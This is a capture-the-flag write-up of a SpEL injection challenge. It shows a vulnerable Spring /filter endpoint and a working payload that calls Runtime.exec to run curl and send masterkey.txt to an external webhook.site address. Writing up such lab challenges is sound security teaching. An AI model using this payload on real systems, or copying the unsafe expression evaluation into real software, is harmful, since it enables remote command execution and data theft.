SpEL Injection Exploit – AppSec Master Challenge Writeup
In this challenge from AppSec Master, the goal was to exploit a Spring Expression Language (SpEL) injection to execute a command on the server and exfiltrate the content of the masterkey.txt
file.
Objective
Leverage a vulnerable /filter
endpoint to execute arbitrary Java code via SpEL injection and read the contents of masterkey.txt
.
Source Code Analysis
Here’s the relevant part of the server-side code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@PostMapping("/filter")
public Object filter(@RequestBody Map<String, String> payload) {
String filter = payload.get("filter");
if (!filter.startsWith("username") && !filter.startsWith("ipaddr") && !filter.startsWith("role")) {
return Map.of("error", "Only filtering on 'username', 'ipaddr' and 'role' is allowed");
}
ExpressionParser parser = new SpelExpressionParser();
List<String> result = new ArrayList<>();
for (User user : users) {
StandardEvaluationContext context = new StandardEvaluationContext(user);
try {
Boolean matches = parser.parseExpression(filter).getValue(context, Boolean.class);
if (Boolean.TRUE.equals(matches)) {
result.add(user.getUsername());
}
} catch (Exception e) {
return Map.of("error", "Evaluation failed");
}
}
return Map.of("result", result);
}
Key Observations
The backend accepts a JSON payload with a
filter
key.It performs a weak check to ensure the filter string starts with
username
,ipaddr
, orrole
.The filter is then evaluated using SpEL, which can interpret and execute Java-like expressions.
This opens up a door to Expression Injection, especially since parser.parseExpression()
is used directly on user input.
Exploiting SpEL Injection
Since only the start of the filter string is validated, we can inject arbitrary expressions using or
.
Payload:
1
2
3
{
"filter": "username == 'omar' or T(java.lang.Runtime).getRuntime().exec(new String[]{\"curl\", \"--data-urlencode\", \"leak@masterkey.txt\", \"https://webhook.site/518649e2-bcb2-453f-aee1-caa48a6ab505\"})"
}
This payload does the following:
username == 'omar'
passes the startsWith check.or
allows us to short-circuit and execute our SpEL expression.T(java.lang.Runtime).getRuntime().exec(...)
executes the JavaRuntime.exec()
method.We use the array syntax
new String[]{...}
to avoid shell interpretation issues in Java.--data-urlencode
causescurl
to read the content ofmasterkey.txt
and send it as POST data to webhook.site.
Result
The request was sent, and I successfully received the contents of the file on the webhook
🔐 Key Takeaways
SpEL Injection is extremely dangerous when user-controlled input is evaluated without sanitization.
T(...)
gives access to arbitrary Java classes.Runtime execution should never be exposed via dynamic expression evaluation.
📚 References
If you enjoyed this write-up, feel free to follow me on Twitter